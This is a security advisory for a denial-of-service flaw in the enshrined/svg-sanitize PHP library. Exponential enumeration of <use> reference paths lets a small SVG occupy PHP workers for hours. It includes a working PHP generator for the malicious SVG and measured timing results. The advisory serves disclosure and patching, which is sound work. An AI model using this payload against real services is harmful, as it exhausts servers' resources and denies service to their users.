Inefficient Algorithmic Complexity Affecting enshrined/svg-sanitize package, versions >=0.11.0, <1.1.0

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via hasInfiniteLoop() and countUse() in src/ElementReference/Subject.php, which walk the <use> element reference graph by enumerating every root-to-leaf path with no memoization. Because the only guard is a depth cap (useNestingLimit = 15) rather than a bound on total work, an attacker can upload a small layered SVG with up to 15 levels of fanned-out <use> elements, forcing exponential path enumeration (~k^depth paths) that pins PHP workers for hours. A ~12 KB input is sufficient to project tens of hours of CPU consumption for a single sanitize() call.

Tested: PHP 8.2.34 and 8.3.35, libxml 2.9.14, current master. Confirmed on default settings.

Generator (layered DAG: L layers of k nodes; every node's k children point at the whole next layer; acyclic; depth = L so with L<=15 NestingException never fires):

    function buildSvg(int $L, int $k): string {
        $s = '<svg xmlns="http://www.w3.org/2000/svg">';
        for ($l=0; $l<$L; $l++) for ($i=0; $i<$k; $i++) {
            $s .= '<g id="n_'.$l.'_'.$i.'">';
            if ($l < $L-1) for ($j=0; $j<$k; $j++) $s .= '<use href="#n_'.($l+1).'_'.$j.'"/>';
            $s .= '</g>';
        }
        return $s.'</svg>';
    }
    $t0 = microtime(true);
    (new enshrined\svgSanitize\Sanitizer())->sanitize(buildSvg(15, 6));  // attacker input
    echo microtime(true) - $t0;

Measured scaling (wall-clock of a single sanitize() call):

  Exponential in depth (k=3):   L=10: 0.033s   L=11: 0.102s   L=12: 0.259s   (~x3 per layer)
  Exponential in fan-out (L=11): k=2: 0.003s   k=3: 0.077s    k=4: 1.43s     (~(k)^10)
  Benign control:               74 KB linear 2000-deep chain (no branching): 0.013s

Depth-limit boundary (k=2) -- proves the attack sits at depth <= 15:

  L=13: 0.0096s   L=14: 0.0144s   L=15: 0.0272s   (no exception, parsed OK)
  L=16: 0.0006s   L=17: 0.0004s   (NestingException fires, walk short-circuits -> fast)

Extrapolation to the attack input buildSvg(15, 6):

  input size = 11,956 bytes (~12 KB)
  anchor k=4,L=11 = 1.346 s over ~1.05e6 paths => ~1.28 us/path
  k=6,L=15 => ~7.84e10 paths => ~100,000 s (~28 hours) of CPU for one request.

The attacker tunes (k, L<=15) to any CPU budget: k=4,L=11 already burns ~1.3 s from a 4 KB file, trivially repeated to saturate a worker pool.

Note: Tested on PHP 8.2.34 and 8.3.35 with libxml 2.9.14 on default settings.

• GitHub Advisory
• GitHub Commit